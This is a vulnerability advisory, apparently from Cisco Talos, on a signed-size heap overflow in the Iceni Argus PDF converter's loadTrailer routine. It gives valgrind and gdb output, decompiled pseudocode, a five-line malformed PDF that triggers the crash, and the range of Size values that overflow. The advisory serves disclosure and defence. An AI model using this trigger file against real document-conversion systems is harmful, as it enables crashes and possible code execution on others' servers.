### Summary
An exploitable heap corruption vulnerability exists in the loadTrailer functionality of Iceni Argus version 6.6.05. A specially crafted PDF file can cause a heap corruption resulting in arbitrary code execution. An attacker can send/provide a malicious PDF file to trigger this vulnerability.
### Tested Versions
Iceni Argus Version 6.6.05 (Sep 22 2016) NK Linux x64
### Product URLs
http://www.iceni.com/legacy.htm
### CVSSv3 Score
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
### Details
```
This vulnerability is present in the Iceni Argus PDF which is used inter alia to convert PDF files to (X)HTML form.
```
This product is mainly used by MarkLogic for PDF document conversions as part of their web based document search and rendering. A specially crafted PDF file can lead to an heap corruption and ultimately to remote code execution.
```
Let's investigate this vulnerability. After executing the PDF to HTML converter with a malformed pdf file as an input we can easily observe in the output of valgrind that an out of bounds write has occurred:
Parsing macros...
Macro synth-bookmarks='true'
Macro image-output='true'
Macro text-output='true'
Macro zones='false'
Macro ignore-text='true'
Macro remove-overprint='false'
Macro illustrations='true'
Macro line-breaks='true'
Macro image-quality='75'
Macro page-start=''
Macro page-end=''
Macro document-start=''
Macro document-end=''
features='11140221'
Processing...
==59595== Invalid write of size 4
==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595== Address 0x49d0d40 is 49,176 bytes inside a block of size 49,179 alloc'd
==59595== at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x81A880A: icnMalloc (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80677F8: _icnChainCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090C16: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595==
==59595==
==59595== Process terminating with default action of signal 11 (SIGSEGV)
==59595== Access not within mapped region at address 0x4AB3000
==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
```
we see that memset in `loadTrailer` function causes an overflow in tje buffer allocated in `ipDocCreate`. We will now analyze the `loadTrailer` function and try to figure out where the memset `size` parameter is coming from and in which conditions it will cause overflows. A pseudo code fragment of `loadTrailer` looks like this:
```
Line 1 int __usercall loadTrailer@<eax>(_DWORD *a1@<eax>, int *a2@<edx>, int a3@<ecx>)
Line 2 {
Line 3
Line 4 (...)
Line 5 v17 = ipDictFindType(v16, "Root", 10);
Line 6 v142 = 0;
Line 7 if ( v17 )
Line 8 v142 = *(v17 + 1);
Line 9 v18 = ipDictFindType(v138, "Size", 5);
Line 10 if ( !v18 )
Line 11 {
Line 12 if ( icnErrorGetCode(v20, v19) )
Line 13 goto LABEL_27;
Line 14 v143 = 0;
Line 15 v144 = 0;
Line 16 v165 = 0;
Line 17 goto LABEL_54;
Line 18 }
Line 19 v21 = *(v18 + 1);
Line 20 (...)
Line 21 v166 = 2 * v21;
Line 22 if ( (2 * v21) < 500 )
Line 23 LABEL_54:
Line 24 v166 = 500;
Line 25 (...)
Line 26 v81 = icnChainAlloc(v135->pdword234, 24 * v166);
Line 27 if ( !v81 )
Line 28 goto LABEL_27;
Line 29 memset(v81, 0, 24 * v166);
Line 30
```
In the above listing we see that the memset `size` parameter strongly depends on the `Size` field value at Line 9, which comes directly from a file. This value takes a part in couple arithmetic operations: at lines 21 and 29 and the result of that is used as a parameter to memset. At line 26 we see potential (re)allocation for the same value `24*v166` as used later for memset but that doesn't seem to happen and the code ends up overflowing a buffer allocated in `ipDocCreate`.
Let's take a look at `icnChainAlloc`:
```
Line 1 char *__cdecl icnChainAlloc(void *bufferStruct, int allocSize)
Line 2 {
Line 3 signed int v8; // edi@9
Line 4 (...)
Line 5 v8 = (allocSize + 3) & 0xFFFFFFFC;
Line 6 while ( 1 )
Line 7 {
Line 8 if ( v8 <= v7->chunkSize )
Line 9 goto LABEL_17;
Line 10 if ( !v7->nextChunk )
Line 11 break;
Line 12 v7 = v7->nextChunk;
Line 13 }
Line 14 v9 = (allocSize + 3) & 0xFFFFFFFC;
Line 15 if ( v8 < v7->dwordC )
Line 16 v9 = v7->dwordC;
Line 17 v10 = icnChainCreate(v9);
Line 18 if ( v10 )
Line 19 {
Line 20 v7->nextChunk = v10;
Line 21 v7 = v10;
Line 22 *bufferStruct = v10;
Line 23 LABEL_17:
Line 24 v11 = v7->pvoid4;
Line 25 v7->chunkSize -= v8;
Line 26 v7->pvoid4 = &v11[v8];
Line 27 *bufferStruct = v7;
Line 28 return v11;
Line 29 }
Line 30 return 0;
```
At line 17, we see that a new allocation can occur for specified value `allocSize` but before this line is reached a couple of checks need to be passed. Inside the while loop starting at line 6 we see a check (line 8) where `allocSize` is compared with the available chunks size (the application uses a custom allocator for objects), but the comparison is made for a signed value (see the definition of the `v8` var at line 3). If the value of `allocSize` is bigger than INT_MAX (generally, a negative value), the check at line 8 will be true and the allocation for new space will not happen. The existing chunk of allocated memory will be returned and used later in the memset.
An example of a PDF which leads to overflow situation looks like this :
```
%PDF-1
1 0 obj
<</Kids[<</Parent 1 0 R>>]>>
trailer
<</Size -1/Root<</Pages 1 0 R>>>>
```
The value of the `Size` field is set to -1 what cause that we land in `icnChainAlloc` with the following parameters.
```
Breakpoint 1, 0x08160dc0 in loadTrailer ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x9964288 (0x09964288)
EBX: 0x8fbc6e8 --> 0x8fbbe90 --> 0x1
ECX: 0xf7a09008 --> 0x0
EDX: 0x0
ESI: 0xf7a09244 --> 0x1
EDI: 0x9964368 --> 0x0
EBP: 0xf7a09008 --> 0x0
ESP: 0xfffc6bf0 --> 0x9964288 (0x09964288)
EIP: 0x8161808 (call 0x80679f0 <icnChainAlloc>)
EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x81617fb: mov ecx,DWORD PTR [esp+0x38]
0x81617ff: mov eax,DWORD PTR [ecx+0x234]
0x8161805: mov DWORD PTR [esp],eax
=> 0x8161808: call 0x80679f0 <icnChainAlloc>
0x816180d: mov ecx,DWORD PTR [esp+0x28]
0x8161811: mov edx,DWORD PTR [esp+0x30]
0x8161815: mov DWORD PTR [edi+0x2c],eax
0x8161818: mov eax,DWORD PTR [esp+0x44]
Guessed arguments:
arg[0]: 0x9964288 (0x09964288)
arg[1]: 0xffffffd0
[------------------------------------stack-------------------------------------]
0000| 0xfffc6bf0 --> 0x9964288 (0x09964288)
0004| 0xfffc6bf4 --> 0xffffffd0
0008| 0xfffc6bf8 --> 0x5
0012| 0xfffc6bfc --> 0x0
0016| 0xfffc6c00 --> 0xfffc6cb4 --> 0xf7d678a4 --> 0x56ed
0020| 0xfffc6c04 --> 0xfffc6c28 --> 0xf7a09008 --> 0x0
0024| 0xfffc6c08 --> 0xfffc6c20 --> 0x0
0028| 0xfffc6c0c --> 0x804baea ("strtod")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
```
Of course `0xffffffd0` passes all mentioned constraints leading to situation where proper space is not allocated. Because the value passed to `icnChainAlloc` just needs to be a negative value and we have direct influence on the `Size` field, we can easily calculate entire range of values which will cause that situation.
(0x80000000 / 2 ) / 24 = 0x2aaaaaa 0x2aaaaaa + 1 = 0x2aaaaab ( 44739243 )
So all values from 0x2aaaaab to 0xffffffff used as a value in Size field will lead to an overflow.
### Crash Information
```
Parsing macros...
Macro synth-bookmarks='true'
Macro image-output='true'
Macro text-output='true'
Macro zones='false'
Macro ignore-text='true'
Macro remove-overprint='false'
Macro illustrations='true'
Macro line-breaks='true'
Macro image-quality='75'
Macro page-start=''
Macro page-end=''
Macro document-start=''
Macro document-end=''
features='11140221'
Processing...
==59595== Invalid write of size 4
==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595== Address 0x49d0d40 is 49,176 bytes inside a block of size 49,179 alloc'd
==59595== at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x81A880A: icnMalloc (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80677F8: _icnChainCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090C16: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595==
==59595==
==59595== Process terminating with default action of signal 11 (SIGSEGV)
==59595== Access not within mapped region at address 0x4AB3000
==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
```
### Timeline
* 2016-10-10 - Vendor Disclosure
* 2017-02-27 - Public Release
### CREDIT
* Discovered by Marcin 'Icewall' Noga of Cisco Talos.
暂无评论